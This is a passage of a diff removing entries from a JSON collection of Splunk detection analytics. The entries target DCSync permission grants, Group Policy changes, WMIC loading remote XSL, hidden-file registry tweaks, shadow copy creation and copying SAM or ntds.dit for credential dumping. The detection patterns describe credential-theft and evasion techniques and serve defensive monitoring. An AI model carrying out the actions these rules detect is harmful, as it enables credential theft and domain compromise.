| `security_content_ctime(lastTime)` | where source_count >= 4 | `active_directory_privilege_escalation_identified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to privilege escalation has been identified on $risk_object$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD Domain Replication ACL Addition", - "description": "The following analytic detects the addition of permissions required for a DCSync attack, specifically DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, and DS-Replication-Get-Changes-In-Filtered-Set. It leverages EventCode 5136 from the Windows Security Event Log to identify when these permissions are granted. This activity is significant because it indicates potential preparation for a DCSync attack, which can be used to replicate AD objects and exfiltrate sensitive data. If confirmed malicious, an attacker could gain extensive access to Active Directory, leading to severe data breaches and privilege escalation.", - "search": "`wineventlog_security` | rex field=AttributeValue max_match=10000 \\\"OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;(?PS-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{3})\\)\\\"| table _time dest src_user DSRGetChanges_user_sid DSRGetChangesAll_user_sid DSRGetChangesFiltered_user_sid| mvexpand DSRGetChanges_user_sid| eval minDCSyncPermissions=if(DSRGetChanges_user_sid=DSRGetChangesAll_user_sid,\\\"true\\\",\\\"false\\\"), fullSet=if(DSRGetChanges_user_sid=DSRGetChangesAll_user_sid AND DSRGetChanges_user_sid=DSRGetChangesFiltered_user_sid,\\\"true\\\",\\\"false\\\")| where minDCSyncPermissions=\\\"true\\\" | lookup identity_lookup_expanded objectSid as DSRGetChanges_user_sid OUTPUT sAMAccountName as user | rename DSRGetChanges_user_sid as userSid | stats min(_time) as _time values(user) as user by dest src_user userSid minDCSyncPermissions fullSet| `windows_ad_domain_replication_acl_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$src_user$ has granted $user$ permission to replicate AD objects", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Admon Default Group Policy Object Modified", - "description": "The following analytic detects modifications to the default Group Policy Objects (GPOs) in an Active Directory environment. It leverages Splunk's Admon to monitor updates to the \"Default Domain Policy\" and \"Default Domain Controllers Policy.\" This activity is significant because changes to these default GPOs can indicate an adversary with privileged access attempting to gain further control, establish persistence, or deploy malware across multiple hosts. If confirmed malicious, such modifications could lead to widespread policy enforcement changes, unauthorized access, and potential compromise of the entire domain environment.", - "search": " `admon` admonEventType=Update objectCategory=\"CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=*\" (displayName=\"Default Domain Policy\" OR displayName=\"Default Domain Controllers Policy\") | stats min(_time) as firstTime max(_time) as lastTime values(gPCFileSysPath) by dcName, displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_admon_default_group_policy_object_modified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dcName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A default domain group policy was updated on $dcName$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Admon Group Policy Object Created", - "description": "The following analytic detects the creation of a new Group Policy Object (GPO) using Splunk's Admon data. It identifies events where a new GPO is created, excluding default \"New Group Policy Object\" entries. Monitoring GPO creation is crucial as adversaries can exploit GPOs to escalate privileges or deploy malware across an Active Directory network. If confirmed malicious, this activity could allow attackers to control system configurations, deploy ransomware, or propagate malware, significantly compromising the network's security.", - "search": " `admon` admonEventType=Update objectCategory=\"CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=*\" versionNumber=0 displayName!=\"New Group Policy Object\" | stats min(_time) as firstTime max(_time) as lastTime values(gPCFileSysPath) by dcName, displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_admon_group_policy_object_created_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dcName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A new group policy objected was created on $dcName$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Default Group Policy Object Modified", - "description": "The following analytic detects modifications to default Group Policy Objects (GPOs) using Event ID 5136. It monitors changes to the `Default Domain Controllers Policy` and `Default Domain Policy`, which are critical for enforcing security settings across domain controllers and all users/computers, respectively. This activity is significant because unauthorized changes to these GPOs can indicate an adversary with privileged access attempting to deploy persistence mechanisms or execute malware across the network. If confirmed malicious, such modifications could lead to widespread compromise, allowing attackers to maintain control and execute arbitrary code on numerous hosts.", - "search": " `wineventlog_security` EventCode=5136 ObjectClass=groupPolicyContainer AttributeLDAPDisplayName=versionNumber (ObjectDN=\"CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=*\" OR ObjectDN=\"CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=POLICIES,CN=SYSTEM,DC=*\") | stats min(_time) as firstTime max(_time) as lastTime by ObjectDN SubjectUserSid AttributeValue Computer DSName | rename AttributeValue as versionNumber | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_default_group_policy_object_modified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "SubjectUserSid", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A default group policy object was modified on $Computer$ by $SubjectUserSid$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Default Group Policy Object Modified with GPME", - "description": "The following analytic detects modifications to default Group Policy Objects (GPOs) using the Group Policy Management Editor (GPME). It leverages the Endpoint data model to identify processes where `mmc.exe` executes `gpme.msc` with specific GUIDs related to default GPOs. This activity is significant because default GPOs, such as the `Default Domain Controllers Policy` and `Default Domain Policy`, are critical for enforcing security policies across the domain. If malicious, such modifications could allow an attacker to gain further access, establish persistence, or deploy malware across numerous hosts, severely compromising the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=mmc.exe (Processes.process =*gpme.msc*) AND (Processes.process = \"*31B2F340-016D-11D2-945F-00C04FB984F9*\" OR Processes.process = \"*6AC1786C-016F-11D2-945F-00C04fB984F9*\" ) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_default_group_policy_object_modified_with_gpme_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A default group policy object was opened with Group Policy Manage Editor on $dest$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Group Policy Object Created", - "description": "The following analytic detects the creation of a new Group Policy Object (GPO) by leveraging Event IDs 5136 and 5137. This detection uses directory service change events to identify when a new GPO is created. Monitoring GPO creation is crucial as adversaries can exploit GPOs to escalate privileges or deploy malware across an Active Directory network. If confirmed malicious, this activity could allow attackers to control system configurations, deploy ransomware, or propagate malware, leading to widespread compromise and significant operational disruption.", - "search": " `wineventlog_security` EventCode=5137 OR (EventCode=5136 AttributeValue!=\"New Group Policy Object\" AND (AttributeLDAPDisplayName=displayName OR AttributeLDAPDisplayName=gPCFileSysPath) ) ObjectClass=groupPolicyContainer | stats values(AttributeValue) as details values(SubjectUserSid) as User values(ObjectDN) as ObjectDN by ObjectGUID Computer | eval GPO_Name = mvindex(details, 0) | eval GPO_Path = mvindex(details, 1) | fields - details | `windows_group_policy_object_created_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new group policy objected was created by $User$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -684932,141 +460844,6 @@ } ], "condition": "selection" - }, - { - "name": "WMIC XSL Execution via URL", - "description": "The following analytic detects `wmic.exe` loading a remote XSL script via a URL. This detection leverages Endpoint Detection and Response (EDR) data, focusing on command-line executions that include HTTP/HTTPS URLs and the /FORMAT switch. This activity is significant as it indicates a potential application control bypass, allowing adversaries to execute JScript or VBScript within an XSL file. If confirmed malicious, this technique can enable attackers to execute arbitrary code, escalate privileges, or maintain persistence using a trusted Windows tool, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process IN (\"*http://*\", \"*https://*\") Processes.process=\"*/format:*\" by Processes.parent_process_name Processes.original_file_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wmic_xsl_execution_via_url_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ utilizing wmic to download a remote XSL script.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1220", - "mitre_attack_technique": "XSL Script Processing", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "Higaisa" - ] - } - ] - } - }, - { - "name": "XSL Script Execution With WMIC", - "description": "The following analytic detects the execution of an XSL script using the WMIC process, which is often indicative of malicious activity. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving WMIC and XSL files. This behavior is significant as it has been associated with the FIN7 group, known for using this technique to execute malicious scripts. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to system compromise and further malicious actions within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process = \"*os get*\" Processes.process=\"*/format:*\" Processes.process = \"*.xsl*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `xsl_script_execution_with_wmic_filter`", - "tags": { - "analytic_story": [ - "FIN7", - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ utilizing wmic to load a XSL script.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1220", - "mitre_attack_technique": "XSL Script Processing", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "Higaisa" - ] - } - ] - } } ], "external_reference": [ @@ -685828,192 +461605,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Reg exe used to hide files directories via registry keys", - "description": "The search looks for command-line arguments used to hide a file or directory using the reg add command.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = reg.exe Processes.process=\"*add*\" Processes.process=\"*Hidden*\" Processes.process=\"*REG_DWORD*\" by Processes.process_name Processes.parent_process_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)`| regex process = \"(/d\\s+2)\" | `reg_exe_used_to_hide_files_directories_via_registry_keys_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Defense Evasion Tactics", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "Disable Show Hidden Files", - "description": "The following analytic detects modifications to the Windows registry that disable the display of hidden files. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with hidden file settings. This activity is significant because malware, such as worms and trojan spyware, often use hidden files to evade detection. If confirmed malicious, this behavior could allow an attacker to conceal malicious files on the system, making it harder for security tools and analysts to identify and remove the threat.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\" OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt\" Registry.registry_value_data = \"0x00000001\") OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" Registry.registry_value_data = \"0x00000000\" )) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_show_hidden_files_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Show Hidden Files' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1564", - "mitre_attack_technique": "Hide Artifacts", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -687863,526 +463454,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Creation of Shadow Copy", - "description": "The following analytic detects the creation of shadow copies using Vssadmin or Wmic. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because creating shadow copies can be a precursor to ransomware attacks or data exfiltration, allowing attackers to bypass file locks and access sensitive data. If confirmed malicious, this behavior could enable attackers to maintain persistence, recover deleted files, or prepare for further malicious activities, posing a significant risk to the integrity and confidentiality of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=vssadmin.exe Processes.process=*create* Processes.process=*shadow*) OR (Processes.process_name=wmic.exe Processes.process=*shadowcopy* Processes.process=*create*) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `creation_of_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a shadow copy to perform offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Creation of Shadow Copy with wmic and powershell", - "description": "The following analytic detects the creation of shadow copies using \"wmic\" or \"Powershell\" commands. It leverages the Endpoint.Processes data model in Splunk to identify processes where the command includes \"shadowcopy\" and \"create\". This activity is significant because it may indicate an attacker attempting to manipulate or access data unauthorizedly, potentially leading to data theft or manipulation. If confirmed malicious, this behavior could allow attackers to backup and exfiltrate sensitive data or hide their tracks by restoring files to a previous state after an attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` OR `process_powershell` Processes.process=*shadowcopy* Processes.process=*create* by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `creation_of_shadow_copy_with_wmic_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Living Off The Land", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a shadow copy to perform offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Credential Dumping via Copy Command from Shadow Copy", - "description": "The following analytic detects the use of the copy command to dump credentials from a shadow copy. It leverages Endpoint Detection and Response (EDR) data to identify processes with command lines referencing critical files like \"sam\", \"security\", \"system\", and \"ntds.dit\" in system directories. This activity is significant as it indicates an attempt to extract credentials, a common technique for unauthorized access and privilege escalation. If confirmed malicious, this could lead to attackers gaining sensitive login information, escalating privileges, moving laterally within the network, or accessing sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` (Processes.process=*\\\\system32\\\\config\\\\sam* OR Processes.process=*\\\\system32\\\\config\\\\security* OR Processes.process=*\\\\system32\\\\config\\\\system* OR Processes.process=*\\\\windows\\\\ntds\\\\ntds.dit*) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `credential_dumping_via_copy_command_from_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to copy SAM and NTDS.dit for offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Credential Dumping via Symlink to Shadow Copy", - "description": "The following analytic detects the 